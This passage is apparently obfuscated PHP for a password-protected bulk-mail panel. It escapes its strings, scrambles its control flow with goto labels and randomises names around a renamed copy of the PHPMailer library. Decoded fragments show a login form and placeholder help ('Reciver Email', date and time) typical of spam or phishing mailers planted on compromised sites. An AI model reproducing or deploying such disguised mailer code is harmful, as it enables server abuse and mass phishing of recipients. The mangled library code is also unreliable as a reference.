"\x3c\57\142\x3e\x3c\x2f\x6c\151\76\12\12\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\x20\x3c\57\165\x6c\x3e\12\40\40\x20\40\40\40\40\40\40\x20\40\x20\x3c\150\64\76\110\105\x4c\120\74\57\150\x34\x3e\12\x20\x20\40\40\40\x20\40\x20\40\x20\x20\x20\74\x75\154\76\12\40\40\40\40\40\x20\40\x20\40\40\40\40\40\x20\x20\x20\x3c\154\151\x3e\133\x2d\145\155\x61\151\x6c\x2d\x5d\x20\72\40\74\x62\76\x52\x65\x63\151\166\x65\162\40\105\155\x61\151\x6c\74\57\x62\x3e\74\57\x6c\x69\x3e\12\40\x20\x20\40\x20\40\x20\40\40\x20\40\x20\40\40\40\x20\x3c\154\x69\x3e\133\55\x74\151\155\145\55\135\x20\x3a\40\x3c\142\76\x44\x61\x74\x65\40\141\156\x64\x20\x54\151\155\145\x3c\x2f\x62\76\x20\50"; goto H7MwT; X7Yug: print "\74\160\x72\x65\40\141\x6c\x69\x67\156\x3d\x63\x65\x6e\x74\145\x72\x3e\x3c\146\x6f\162\155\x20\155\x65\164\150\157\144\75\160\x6f\163\x74\76\x50\141\x73\163\167\157\162\x64\x3a\x20\x3c\151\156\160\165\164\40\x74\171\x70\x65\x3d\x27\x70\x61\163\163\x77\157\x72\x64\x27\x20\156\141\155\x65\75\47\160\141\x73\163\x27\x3e\x3c\151\x6e\160\x75\164\x20\164\171\x70\x65\x3d\47\163\x75\x62\x6d\x69\x74\47\x20\x76\141\154\x75\145\x3d\47\x3e\76\47\76\x3c\x2f\146\x6f\x72\x6d\76\74\57\160\x72\145\x3e"; goto dau_h; IOL0V: class cAgZE { const BtWCq = "\151\x73\157\55\70\70\x35\x39\x2d\x31"; const Y54ie = "\165\164\146\55\70"; const Ha_i0 = "\x74\145\170\164\57\x70\154\141\151\x6e"; const uYtHu = "\x74\145\x78\x74\x2f\x63\x61\x6c\x65\x6e\x64\x61\162"; const rtK8d = "\x74\145\170\164\57\150\164\x6d\154"; const BUxGZ = "\155\165\154\x74\151\x70\141\x72\x74\57\141\x6c\x74\x65\x72\x6e\141\x74\x69\x76\x65"; const H7nBA = "\x6d\x75\154\164\151\x70\141\162\x74\57\155\x69\170\145\144"; const m7yR8 = "\x6d\165\154\x74\x69\x70\x61\162\x74\57\x72\x65\154\x61\x74\145\144"; const BAP0e = "\x37\142\151\x74"; const spJZd = "\x38\142\151\164"; const GWlmS = "\x62\x61\163\x65\66\64"; const ZyBpb = "\x62\x69\x6e\141\x72\171"; const Vz4Kt = "\x71\165\x6f\x74\145\144\55\x70\x72\151\x6e\x74\x61\x62\154\x65"; public $Priority; public $CharSet = self::BtWCq; public $ContentType = self::Ha_i0; public $Encoding = self::spJZd; public $ErrorInfo = ''; public $From = "\162\x6f\157\164\100\154\x6f\x63\x61\x6c\x68\x6f\x73\164"; public $FromName = "\122\157\157\x74\40\x55\x73\x65\x72"; public $Sender = ''; public $Subject = ''; public $Body = ''; public $AltBody = ''; public $Ical = ''; protected $MIMEBody = ''; protected $MIMEHeader = ''; protected $mailHeader = ''; public $WordWrap = 0; public $Mailer = "\155\141\x69\x6c"; public $Sendmail = "\57\x75\163\162\57\x73\142\x69\x6e\57\163\145\156\x64\x6d\x61\151\154"; public $UseSendmailOptions = true; public $ConfirmReadingTo = ''; public $Hostname = ''; public $MessageID = ''; public $MessageDate = ''; public $Host = "\154\157\x63\x61\x6c\150\x6f\x73\164"; public $Port = 25; public $Helo = ''; public $SMTPSecure = ''; public $SMTPAutoTLS = true; public $SMTPAuth = false; public $SMTPOptions = array(); public $Username = ''; public $Password = ''; public $AuthType = ''; protected $oauth; public $Timeout = 300; public $dsn = ''; public $SMTPDebug = 0; public $Debugoutput = "\x65\143\x68\157"; public $SMTPKeepAlive = false; public $SingleTo = false; protected $SingleToArray = array(); public $do_verp = false; public $AllowEmpty = false; public $DKIM_selector = ''; public $DKIM_identity = ''; public $DKIM_passphrase = ''; public $DKIM_domain = ''; public $DKIM_copyHeaderFields = true; public $DKIM_extraHeaders = array(); public $DKIM_private = ''; public $DKIM_private_string = ''; public $action_function = ''; public $XMailer = ''; public static $validator = "\x70\150\160"; protected $smtp; protected $to = array(); protected $cc = array(); protected $bcc = array(); protected $ReplyTo = array(); protected $all_recipients = array(); protected $RecipientsQueue = array(); protected $ReplyToQueue = array(); protected $attachment = array(); protected $CustomHeader = array(); protected $lastMessageID = ''; protected $message_type = ''; protected $boundary = array(); protected $language = array(); protected $error_count = 0; protected $sign_cert_file = ''; protected $sign_key_file = ''; protected $sign_extracerts_file = ''; protected $sign_key_pass = ''; protected $exceptions = false; protected $uniqueid = ''; const kQUR3 = "\x36\x2e\x30\x2e\67"; const kX_nj = 0; const zcFf8 = 1; const OsS1U = 2; protected static $LE = "\xd\12"; const B4qnq = 998; const QKaVA = 76; public function __construct($Divh_ = null) { goto zF1A4; zF1A4: if (!(null !== $Divh_)) { goto muJ3b; } goto Ng10k; hHu03: $this->Debugoutput = strpos(PHP_SAPI, "\143\x6c\x69") !== false ? "\x65\x63\150\157" : "\150\164\155\154"; goto HI4Mw; Ng10k: $this->exceptions = (bool) $Divh_; goto GCxPP; GCxPP: muJ3b: goto hHu03; HI4Mw: } public function __destruct() { $this->smtpClose(); } private function mailPassthru($cIRlt, $s4bph, $qKvMM, $lTiMf, $vS0Gu) { goto AMp6c; wc0nd: W7CiC: goto oCPSq; yb02l: goto yFDMq; goto QbzBl; Chm4R: $oKqtC = @mail($cIRlt, $s4bph, $qKvMM, $lTiMf); goto Wl5Bl; pNNlB: ORPYE: goto G5EPP; AMp6c: if (ini_get("\155\142\x73\x74\x72\x69\156\147\x2e\146\165\156\x63\x5f\x6f\x76\x65\162\x6c\x6f\141\x64") & 1) { goto ORPYE; } goto V7nHz; OUz04: return $oKqtC; goto Y0pY1; V7nHz: $s4bph = $this->encodeHeader($this->secureHeader($s4bph)); goto Wk4VD; Wk4VD: goto W7CiC; goto pNNlB; QbzBl: qf7a2: goto Chm4R; G5EPP: $s4bph = $this->secureHeader($s4bph); goto wc0nd; oCPSq: if (!$this->UseSendmailOptions or null === $vS0Gu) { goto qf7a2; } goto cuhZh; cuhZh: $oKqtC = @mail($cIRlt, $s4bph, $qKvMM, $lTiMf, $vS0Gu); goto yb02l; Wl5Bl: yFDMq: goto OUz04; Y0pY1: } protected function edebug($F2YZh) { goto dSPaT; Bv6Kc: switch ($this->Debugoutput) { case "\x65\162\162\157\x72\x5f\154\157\x67": error_log($F2YZh); goto XUZ_I; case "\x68\164\x6d\154": echo htmlentities(preg_replace("\57\133\x5c\162\x5c\156\135\x2b\57", '', $F2YZh), ENT_QUOTES, "\x55\x54\106\x2d\70"), "\x3c\x62\x72\76\12"; goto XUZ_I; case "\x65\143\x68\x6f": default: $F2YZh = preg_replace("\57\134\162\x5c\x6e\174\134\162\x2f\155\163", "\xa", $F2YZh); echo gmdate("\x59\x2d\x6d\x2d\x64\40\x48\72\151\72\x73"), "\x9", trim(str_replace("\xa", "\xa\40\40\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\40\x20\40\11\40\x20\40\x20\40\40\40\x20\x20\x20\40\40\x20\40\40\40\x20\40", trim($F2YZh))), "\xa"; } goto sXTAo; mVG4U: xTlfm: goto Qn5nF; KJOzP: if (!(!in_array($this->Debugoutput, ["\x65\x72\x72\157\x72\x5f\x6c\x6f\x67", "\150\164\155\154", "\x65\x63\x68\157"]) and is_callable($this->Debugoutput))) { goto sH5Q_; } goto phPTT; fJA8e: $this->Debugoutput->debug($F2YZh); goto lrIYT; sXTAo: UbqRe: goto kK2sK; dSPaT: if (!($this->SMTPDebug <= 0)) { goto xTlfm; } goto uOJjl; Qn5nF: if (!$this->Debugoutput instanceof \f0y02\Log\AI3FW) { goto zn16w; } goto fJA8e; lrIYT: return; goto TrTUS; rQLTM: return; goto ILoBa; phPTT: call_user_func($this->Debugoutput, $F2YZh, $this->SMTPDebug); goto rQLTM; TrTUS: zn16w: goto KJOzP; ILoBa: sH5Q_: goto Bv6Kc; uOJjl: return; goto mVG4U; kK2sK: XUZ_I: goto kkdPT; kkdPT: } public function isHTML($f_J_S = true) { goto KiV5a; UOMVV: $this->ContentType = static::rtK8d; goto gfAaM; gfAaM: zz0Rv: goto C89XG; wzzaV: goto zz0Rv; goto VshDh; KiV5a: if ($f_J_S) { goto wtMkb; } goto oCRgL; VshDh: wtMkb: goto UOMVV; oCRgL: $this->ContentType = static::Ha_i0; goto wzzaV; C89XG: } public function isSMTP() { $this->Mailer = "\163\x6d\x74\x70"; } public function isMail() { $this->Mailer = "\x6d\141\151\154"; } public function isSendmail() { goto sysSy; JEUlS: if (false === stripos($XX42c, "\x73\x65\156\144\x6d\x61\x69\x6c")) { goto xnaAT; } goto J3W4H; sysSy: $XX42c = ini_get("\x73\145\156\144\155\141\151\x6c\137\x70\141\x74\x68"); goto JEUlS; wGKLN: xnaAT: goto OrdrS; OrdrS: $this->Sendmail = "\57\x75\163\x72\x2f\163\142\x69\156\x2f\x73\x65\156\144\155\x61\x69\154"; goto Jlw_8; Jlw_8: bODa0: goto ad_a6; ad_a6: $this->Mailer = "\x73\145\156\144\x6d\x61\151\154"; goto GoBCi; J3W4H: $this->Sendmail = $XX42c; goto lHpJH; lHpJH: goto bODa0; goto wGKLN; GoBCi: } public function isQmail() { goto fWHfl; ufOKQ: U7tYn: goto erbyv; IP0s3: goto U7tYn; goto Daaa0; ggiU1: $this->Sendmail = "\57\166\x61\x72\x2f\161\x6d\x61\151\154\x2f\x62\x69\156\57\161\155\141\x69\x6c\55\151\x6e\x6a\x65\x63\164"; goto ufOKQ; JVO3x: $this->Sendmail = $XX42c; goto IP0s3; Daaa0: IR_Za: goto ggiU1; t7zT5: if (false === stripos($XX42c, "\161\155\x61\x69\x6c")) { goto IR_Za; } goto JVO3x; erbyv: $this->Mailer = "\161\155\x61\x69\154"; goto RiG76; fWHfl: $XX42c = ini_get("\x73\x65\x6e\x64\155\x61\151\154\137\160\141\x74\x68"); goto t7zT5; RiG76: } public function addAddress($Jm2Lh, $UxOLN = '') { return $this->addOrEnqueueAnAddress("\164\x6f", $Jm2Lh, $UxOLN); } public function addCC($Jm2Lh, $UxOLN = '') { return $this->addOrEnqueueAnAddress("\143\x63", $Jm2Lh, $UxOLN); } public function addBCC($Jm2Lh, $UxOLN = '') { return $this->addOrEnqueueAnAddress("\x62\143\143", $Jm2Lh, $UxOLN); } public function addReplyTo($Jm2Lh, $UxOLN = '') { return $this->addOrEnqueueAnAddress("\x52\145\x70\x6c\x79\x2d\124\x6f", $Jm2Lh, $UxOLN); } protected function addOrEnqueueAnAddress($nPdtN, $Jm2Lh, $UxOLN) { goto Us5T6; EUypK: throw new Exception($u3gJg); goto yacv0; Us5T6: $Jm2Lh = trim($Jm2Lh); goto bBGnj; Ln8wd: return true; goto SnTN5; g9Ycz: $this->ReplyToQueue[$Jm2Lh] = $vS0Gu; goto Ln8wd; kRIlK: if (array_key_exists($Jm2Lh, $this->ReplyToQueue)) { goto G57Lv; } goto g9Ycz; yM2ss: return true; goto RO8sS; bBGnj: $UxOLN = trim(preg_replace("\x2f\x5b\134\x72\x5c\x6e\x5d\53\x2f", '', $UxOLN)); goto zYhJX; zYhJX: $xVSEl = strrpos($Jm2Lh, "\x40"); goto yliTS; mNAw4: if (!($this->has8bitChars(substr($Jm2Lh, ++$xVSEl)) and static::idnSupported())) { goto ESHtv; } goto broMT; ly_Iw: $this->edebug($u3gJg); goto LY6uB; a6jrP: $u3gJg = sprintf("\45\163\x20\50\45\x73\51\x3a\40\45\163", $this->lang("\x69\x6e\166\141\154\x69\144\x5f\x61\x64\x64\162\145\x73\163"), $nPdtN, $Jm2Lh); goto y3YCk; y3YCk: $this->setError($u3gJg); goto ly_Iw; mwmwY: goto AJk_e; goto x_fxj; RO8sS: zG8X2: goto cuTdy; broMT: if ("\122\x65\160\x6c\x79\x2d\x54\157" != $nPdtN) { goto In3N3; } goto kRIlK; MZD3H: return false; goto IEZK3; F8kOq: $this->RecipientsQueue[$Jm2Lh] = $vS0Gu; goto yM2ss; SnTN5: G57Lv: goto mwmwY; GOOlW: if (array_key_exists($Jm2Lh, $this->RecipientsQueue)) { goto zG8X2; } goto F8kOq; LY6uB: if (!$this->exceptions) { goto UBAQa; } goto EUypK; IEZK3: ESHtv: goto HkbAu; x_fxj: In3N3: goto GOOlW; cfaUU: k1LGH: goto hUZQH; yliTS: if (!(false === $xVSEl)) { goto k1LGH; } goto a6jrP; yacv0: UBAQa: goto ZSNIg; cuTdy: AJk_e: goto MZD3H; hUZQH: $vS0Gu = [$nPdtN, $Jm2Lh, $UxOLN]; goto mNAw4; ZSNIg: return false; goto cfaUU; HkbAu: return call_user_func_array([$this, "\x61\x64\x64\x41\x6e\x41\144\x64\162\x65\163\163"], $vS0Gu); goto Pj8mY; Pj8mY: } protected function addAnAddress($nPdtN, $Jm2Lh, $UxOLN = '') { goto tzq6j; vCfTX: if (static::validateAddress($Jm2Lh)) { goto ECIgk; } goto sIT1n; dEIiq: return true; goto vfmln; ppQoE: if (array_key_exists(strtolower($Jm2Lh), $this->ReplyTo)) { goto ptdSB; } goto inXmB; GLSxJ: if (!$this->exceptions) { goto ojHsH; } goto cG3Jn; FQiQA: $this->edebug($u3gJg); goto GLSxJ; d5KSE: return false; goto iCgZI; ucZFZ: return true; goto IAbu4; gNCDs: HnlQz: goto d5KSE; YaOoO: return false; goto iceMy; CQRWP: $this->setError($u3gJg); goto FQiQA; F5qOp: $this->all_recipients[strtolower($Jm2Lh)] = true; goto dEIiq; kXn6q: ECIgk: goto UEDpS; iceMy: LaBF9: goto vCfTX; UEDpS: if ("\x52\145\x70\x6c\171\55\124\x6f" != $nPdtN) { goto wr3AX; } goto ppQoE; inXmB: $this->ReplyTo[strtolower($Jm2Lh)] = [$Jm2Lh, $UxOLN]; goto ucZFZ; TQeNa: if (array_key_exists(strtolower($Jm2Lh), $this->all_recipients)) { goto vZs4R; } goto SqH88; cG3Jn: throw new Exception($u3gJg); goto BkK3G; XsA_k: return false; goto kXn6q; sIT1n: $u3gJg = sprintf("\x25\163\40\x28\x25\x73\51\x3a\x20\x25\x73", $this->lang("\x69\x6e\166\141\x6c\151\x64\x5f\x61\144\144\x72\x65\x73\x73"), $nPdtN, $Jm2Lh); goto CQRWP; L8HHo: throw new Exception($u3gJg); goto trgf2; tzq6j: if (in_array($nPdtN, ["\x74\157", "\143\x63", "\x62\x63\x63", "\x52\x65\160\154\x79\x2d\x54\157"])) { goto LaBF9; } goto d1oYA; aMAVt: $this->setError($u3gJg); goto h3Bss; h3Bss: $this->edebug($u3gJg); goto G6xRj; QWsu2: goto HnlQz; goto iuk0Q; G6xRj: if (!$this->exceptions) { goto NbILa; } goto L8HHo; SqH88: $this->{$nPdtN}[] = [$Jm2Lh, $UxOLN]; goto F5qOp; d1oYA: $u3gJg = sprintf("\x25\163\x3a\x20\45\x73", $this->lang("\x49\x6e\166\x61\x6c\x69\144\x20\162\145\143\151\x70\x69\145\156\x74\x20\x6b\x69\x6e\x64"), $nPdtN); goto aMAVt; BkK3G: ojHsH: goto XsA_k; vfmln: vZs4R: goto gNCDs; IAbu4: ptdSB: goto QWsu2; trgf2: NbILa: goto YaOoO; iuk0Q: wr3AX: goto TQeNa; iCgZI: } public static function parseAddresses($vOBGB, $WiunT = true) { goto xHi2R; xHi2R: $bz9I2 = []; goto z2NvI; adAz_: $DKMzr = explode("\54", $vOBGB); goto i5JvC; xI2xL: j442S: goto Uwu06; Uwu06: y5Nxr: goto JFlK6; dy7PR: QDSEA: goto f3hpC; nzKSE: goto y5Nxr; goto dy7PR; i5JvC: foreach ($DKMzr as $Jm2Lh) { goto fRmFy; ycrRx: if (strpos($Jm2Lh, "\x3c") === false) { goto Aqpqu; } goto CmDuB; MKw5W: kwIe6: goto KRlcj; ADKsn: if (!static::validateAddress($GM64i)) { goto sVwhr; } goto t3qRd; CmDuB: list($UxOLN, $GM64i) = explode("\74", $Jm2Lh); goto ED81n; K2DbR: sVwhr: goto r7h8N; Cn5Tv: aX2ga: goto S8ZJ8; dsRc7: Aqpqu: goto TcKmk; MlLe9: $bz9I2[] = ["\x6e\141\x6d\145" => '', "\141\144\x64\x72\145\163\163" => $Jm2Lh]; goto Cn5Tv; ED81n: $GM64i = trim(str_replace("\76", '', $GM64i)); goto ADKsn; TcKmk: if (!static::validateAddress($Jm2Lh)) { goto aX2ga; } goto MlLe9; fRmFy: $Jm2Lh = trim($Jm2Lh); goto ycrRx; t3qRd: $bz9I2[] = ["\156\141\x6d\145" => trim(str_replace(["\42", "\47"], '', $UxOLN)), "\x61\x64\x64\x72\145\163\x73" => $GM64i]; goto K2DbR; r7h8N: goto eUyzN; goto dsRc7; S8ZJ8: eUyzN: goto MKw5W; KRlcj: } goto SlWd4; f3hpC: $DKMzr = uW8uC($vOBGB, ''); goto FGVnk; FGVnk: foreach ($DKMzr as $Jm2Lh) { goto V2Ul5; V2Ul5: if (!("\x2e\x53\131\116\124\101\130\x2d\x45\122\x52\x4f\122\x2e" != $Jm2Lh->host)) { goto JWRgr; } goto jvWYS; SDNUy: $bz9I2[] = ["\x6e\x61\x6d\145" => property_exists($Jm2Lh, "\x70\145\162\x73\157\x6e\141\154") ? $Jm2Lh->personal : '', "\141\144\144\x72\145\x73\163" => $Jm2Lh->mailbox . "\x40" . $Jm2Lh->host]; goto rd2Ig; JxLPd: u8qJb: goto z3Qca; jvWYS: if (!static::validateAddress($Jm2Lh->mailbox . "\100" . $Jm2Lh->host)) { goto UNqQX; } goto SDNUy; rd2Ig: UNqQX: goto ziJv5; ziJv5: JWRgr: goto JxLPd; z3Qca: } goto xI2xL; z2NvI: if ($WiunT and function_exists("\x55\x57\x38\165\x63")) { goto QDSEA; } goto adAz_; SlWd4: jOHAl: goto nzKSE; JFlK6: return $bz9I2; goto LmwN_; LmwN_: } public function setFrom($Jm2Lh, $UxOLN = '', $IU2Tm = true) { goto zr9Jn; gUtoe: throw new Exception($u3gJg); goto FOiJo; jLtVC: if (!empty($this->Sender)) { goto pQCPI; } goto ITPlZ; eHI6c: amVI5: goto Ikodc; tYzuE: $u3gJg = sprintf("\45\163\40\50\106\x72\157\x6d\51\72\40\x25\163", $this->lang("\x69\x6e\166\x61\x6c\x69\x64\137\x61\x64\144\x72\145\x73\x73"), $Jm2Lh); goto FxldG; Ikodc: $this->From = $Jm2Lh; goto hgdQ9; zr9Jn: $Jm2Lh = trim($Jm2Lh); goto teSsD; GOaua: if (!$IU2Tm) { goto mmmYR; } goto jLtVC; FOiJo: DEnED: goto V2N0J; ITPlZ: $this->Sender = $Jm2Lh; goto I4Dkr; MXgr6: if (!$this->exceptions) { goto DEnED; } goto gUtoe; w5CvF: return true; goto F0OI8; Jz5xO: $this->edebug($u3gJg); goto MXgr6; A0V_2: mmmYR: goto w5CvF; V2N0J: return false; goto eHI6c; RU0_J: if (!(false === $xVSEl or (!$this->has8bitChars(substr($Jm2Lh, ++$xVSEl)) or !static::idnSupported()) and !static::validateAddress($Jm2Lh))) { goto amVI5; } goto tYzuE; FxldG: $this->setError($u3gJg); goto Jz5xO; lsHYD: $xVSEl = strrpos($Jm2Lh, "\x40"); goto RU0_J; hgdQ9: $this->FromName = $UxOLN; goto GOaua; I4Dkr: pQCPI: goto A0V_2; teSsD: $UxOLN = trim(preg_replace("\57\133\134\162\x5c\x6e\x5d\53\57", '', $UxOLN)); goto lsHYD; F0OI8: } public function getLastMessageID() { return $this->lastMessageID; } public static function validateAddress($Jm2Lh, $Kikda = null) { goto OBKjb; h8Tu3: if (!(strpos($Jm2Lh, "\12") !== false or strpos($Jm2Lh, "\xd") !== false)) { goto oE0wW; } goto nqXMa; vFJAp: QDgzU: goto EQjep; TulPF: return call_user_func($Kikda, $Jm2Lh); goto VKUjC; nqXMa: return false; goto GwtVx; EQjep: if (!is_callable($Kikda)) { goto gx0yh; } goto TulPF; BR1nV: switch ($Kikda) { case "\160\x63\x72\145": case "\160\143\162\145\70": return (bool) preg_match("\x2f\136\x28\77\x21\50\x3f\76\50\77\61\x29\x22\x3f\50\77\x3e\134\x5c\x5b\40\x2d\x7e\x5d\x7c\x5b\136\42\x5d\51\42\77\x28\77\x31\51\x29\173\62\65\x35\x2c\x7d\51\x28\x3f\41\50\x3f\x3e\x28\77\x31\x29\42\77\50\x3f\x3e\134\134\x5b\40\55\176\135\x7c\x5b\x5e\x22\135\51\42\x3f\50\x3f\61\51\51\173\66\65\54\175\100\51" . "\50\50\x3f\76\x28\77\76\50\x3f\76\x28\x28\77\x3e\x28\77\x3e\50\77\76\134\x78\x30\x44\134\170\x30\x41\51\77\x5b\134\164\40\135\51\x2b\x7c\x28\x3f\76\133\x5c\x74\40\x5d\x2a\134\170\x30\x44\134\170\x30\101\51\x3f\x5b\x5c\164\40\x5d\53\x29\77\x29\x28\x5c\50\50\77\x3e\50\x3f\62\x29" . "\x28\77\76\x5b\x5c\x78\x30\x31\55\134\170\x30\x38\134\x78\x30\x42\x5c\x78\x30\103\134\170\60\x45\55\x27\x2a\55\134\133\134\x5d\55\x5c\170\x37\x46\135\174\x5c\x5c\133\134\170\60\60\x2d\134\170\x37\106\135\174\x28\77\63\x29\x29\51\52\x28\x3f\62\51\134\x29\51\51\x2b\x28\x3f\62\x29\x29\x7c\x28\x3f\x32\x29\51\77\51" . "\50\133\x21\43\x2d\47\x2a\x2b\x5c\57\55\71\x3d\x3f\136\x2d\x7e\x2d\135\x2b\174\x22\x28\x3f\x3e\x28\77\62\x29\50\77\x3e\x5b\x5c\170\x30\61\55\x5c\170\60\70\134\170\x30\x42\x5c\170\x30\103\x5c\x78\x30\105\55\41\x23\55\134\133\134\x5d\x2d\x5c\x78\x37\x46\x5d\x7c\x5c\x5c\x5b\134\170\x30\60\55\134\x78\67\106\x5d\51\51\52" . "\x28\x3f\x32\51\x22\51\50\x3f\x3e\x28\x3f\61\51\134\x2e\50\77\x31\51\50\77\x34\x29\51\x2a\50\x3f\61\x29\100\50\77\x21\50\77\x31\51\133\141\55\172\60\x2d\x39\55\135\x7b\66\x34\x2c\x7d\x29\x28\x3f\x31\51\50\77\x3e\x28\x5b\x61\x2d\172\x30\55\x39\135\x28\77\76\133\x61\x2d\172\60\55\71\55\x5d\x2a\x5b\x61\x2d\x7a\x30\x2d\x39\135\x29\x3f\x29" . "\50\77\76\50\x3f\x31\x29\134\x2e\50\x3f\41\x28\x3f\x31\51\133\x61\x2d\172\x30\55\71\55\135\x7b\x36\64\x2c\175\51\50\77\x31\51\50\77\65\51\x29\173\x30\54\x31\x32\x36\175\x7c\x5c\x5b\50\x3f\72\50\x3f\76\x49\x50\x76\66\72\x28\x3f\76\50\133\x61\55\x66\x30\x2d\x39\x5d\x7b\x31\54\64\x7d\x29\x28\x3f\x3e\x3a\x28\x3f\x36\51\x29\173\67\175" . "\174\x28\x3f\x21\50\77\72\56\x2a\133\141\x2d\146\60\55\71\135\133\x3a\134\135\x5d\51\x7b\x38\x2c\175\51\50\50\x3f\66\x29\50\x3f\76\x3a\50\x3f\x36\51\x29\173\60\54\x36\x7d\x29\x3f\72\x3a\50\77\67\51\77\x29\51\x7c\x28\77\x3e\50\x3f\x3e\111\x50\166\66\72\x28\77\x3e\50\77\x36\x29\x28\x3f\76\x3a\x28\x3f\66\51\x29\x7b\65\175\x3a" . "\x7c\50\77\41\50\x3f\x3a\x2e\52\133\x61\55\146\x30\x2d\71\135\x3a\x29\173\66\54\175\51\x28\77\x38\x29\77\x3a\x3a\x28\x3f\76\x28\50\77\x36\51\x28\77\x3e\72\50\77\66\51\x29\x7b\60\x2c\x34\175\x29\x3a\x29\x3f\x29\51\x3f\50\62\65\133\x30\x2d\65\135\x7c\62\x5b\60\x2d\x34\135\x5b\60\x2d\71\x5d\x7c\x31\133\60\55\71\135\x7b\x32\175" . "\x7c\x5b\x31\x2d\71\x5d\x3f\x5b\60\55\x39\x5d\51\x28\x3f\x3e\x5c\56\50\x3f\71\51\x29\173\x33\175\x29\51\x5c\135\51\x28\x3f\61\51\44\57\x69\163\x44", $Jm2Lh); case "\150\164\x6d\x6c\x35": return (bool) preg_match("\57\136\x5b\141\x2d\172\101\55\x5a\x30\x2d\x39\x2e\41\43\x24\x25\46\x27\x2a\53\x5c\x2f\75\x3f\x5e\x5f\140\173\174\175\176\x2d\135\x2b\x40\133\141\55\x7a\x41\55\132\60\x2d\71\135\x28\x3f\72\x5b\141\55\x7a\101\55\132\x30\55\x39\x2d\x5d\173\x30\x2c\66\61\175" . "\133\x61\x2d\x7a\101\55\132\x30\55\71\135\51\x3f\50\77\72\x5c\56\133\141\55\x7a\101\x2d\x5a\x30\55\x39\135\x28\77\x3a\x5b\141\55\172\x41\x2d\132\x30\x2d\x39\55\x5d\173\x30\54\x36\61\x7d\x5b\141\55\x7a\x41\x2d\x5a\x30\55\x39\135\51\x3f\x29\52\x24\57\163\104", $Jm2Lh); case "\160\150\x70": default: return (bool) filter_var($Jm2Lh, FILTER_VALIDATE_EMAIL); } goto DLC2K; BFbgy: WjjOS: goto mfmPz; DLC2K: KPgV6: goto BFbgy; GwtVx: oE0wW: goto BR1nV; VKUjC: gx0yh: goto h8Tu3; U1CXI: $Kikda = static::$validator; goto vFJAp; OBKjb: if (!(null === $Kikda)) { goto QDgzU; } goto U1CXI; mfmPz: } public static function idnSupported() { return function_exists("\157\117\x6f\110\x6e") and function_exists("\152\x70\x52\102\143"); } public function punyencodeAddress($Jm2Lh) { goto K5o3q; fkjhx: if (!(static::idnSupported() and !empty($this->CharSet) and false !== $xVSEl)) { goto D4EQC; } goto FVaNG; AUL7s: return substr($Jm2Lh, 0, $xVSEl) . $GOhZY; goto Obc6M; K5o3q: $xVSEl = strrpos($Jm2Lh, "\100"); goto fkjhx; wSsXm: D4EQC: goto SpNVa; AoG6G: if (!($this->has8bitChars($x3SRP) and @z2GB1($x3SRP, $this->CharSet))) { goto C09C7; } goto Pmx0b; SoKVD: $Cu5HS = 0; goto CKbnB; FVaNG: $x3SRP = substr($Jm2Lh, ++$xVSEl); goto AoG6G; Pmx0b: $x3SRP = jprBc($x3SRP, "\x55\124\x46\55\70", $this->CharSet); goto SoKVD; CKbnB: $GOhZY = OooHN($x3SRP, $Cu5HS, Z7mWX); goto VSVCf; SpNVa: return $Jm2Lh; goto reE9_; Obc6M: cVSCe: goto BL5S_; BL5S_: C09C7: goto wSsXm; VSVCf: if (!(false !== $GOhZY)) { goto cVSCe; } goto AUL7s; reE9_: } public function send() { try { goto Xlvvc; Mp0mA: HwBkD: goto a0goO; a0goO: return $this->postSend(); goto DRjDo; Xlvvc: if ($this->preSend()) { goto HwBkD; } goto Bn22D; Bn22D: return false; goto Mp0mA; DRjDo: } catch (Exception $AggU6) { goto zvPR_; PPUYG: if (!$this->exceptions) { goto Y06Tm; } goto lR6M7; lR6M7: throw $AggU6; goto kx1Yu; zvPR_: $this->mailHeader = ''; goto D21uA; StxTP: return false; goto Zilym; D21uA: $this->setError($AggU6->getMessage()); goto PPUYG; kx1Yu: Y06Tm: goto StxTP; Zilym: } } public function preSend() { goto uGbgE; UkKp7: if (!(ini_get("\x6d\x61\x69\154\x2e\x61\144\144\x5f\x78\x5f\x68\x65\x61\144\145\162") == 1 and "\x6d\x61\151\154" == $this->Mailer and stripos(PHP_OS, "\x57\111\x4e") === 0 and (version_compare(PHP_VERSION, "\67\56\60\56\x30", "\76\75") and version_compare(PHP_VERSION, "\67\x2e\60\56\x31\x37", "\x3c") or version_compare(PHP_VERSION, "\x37\x2e\61\x2e\60", "\76\75") and version_compare(PHP_VERSION, "\67\56\61\56\63", "\x3c")))) { goto YePiA; } goto uYLeb; GQ3oH: try { goto VPOGe; atGbz: if (!(!$this->AllowEmpty and empty($this->Body))) { goto x9Rjq; } goto fsrlX; AMJuK: lzGu2: goto c6zhX; p0pt5: $this->mailHeader .= $this->headerLine("\x53\x75\x62\x6a\x65\143\164", $this->encodeHeader($this->secureHeader($this->Subject))); goto uEj5r; WcAyU: $this->Subject = trim($this->Subject); goto zcFaB; BtRXS: foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $vS0Gu) { goto Jv_EM; xSVaM: call_user_func_array([$this, "\141\144\144\x41\156\x41\144\x64\x72\x65\x73\163"], $vS0Gu); goto xAzOW; xAzOW: aADDy: goto pzIz0; Jv_EM: $vS0Gu[1] = $this->punyencodeAddress($vS0Gu[1]); goto xSVaM; pzIz0: } goto iqKcu; fHbAj: if (!(count($this->to) + count($this->cc) + count($this->bcc) < 1)) { goto HU0KK; } goto PQjNv; h31qa: $this->MIMEHeader .= $FAjcT; goto wib31; MgpUy: x9Rjq: goto WcAyU; zRTle: goto Md6bk; goto fYJE3; vhpa1: $RNVGt = $this->DKIM_Add($this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody); goto LHKYa; fsrlX: throw new Exception($this->lang("\x65\x6d\x70\x74\x79\x5f\155\x65\163\x73\x61\x67\x65"), self::OsS1U); goto MgpUy; sEiCj: $this->MIMEHeader = $this->createHeader(); goto h31qa; vbkEH: SRGgv: goto MsAql; mkMkI: HU0KK: goto prA5q; Salm1: $this->setMessageType(); goto atGbz; uruTZ: Md6bk: goto p0pt5; JMsFZ: vwc95: goto Salm1; iqKcu: MHOEW: goto fHbAj; LHKYa: $this->MIMEHeader = rtrim($this->MIMEHeader, "\xd\12\x20") . static::$LE . static::normalizeBreaks($RNVGt) . static::$LE; goto AMJuK; OIumw: $FAjcT = $this->MIMEHeader; goto sEiCj; wib31: if (!("\x6d\141\151\x6c" == $this->Mailer)) { goto IyjcL; } goto cf5W8; uEj5r: IyjcL: 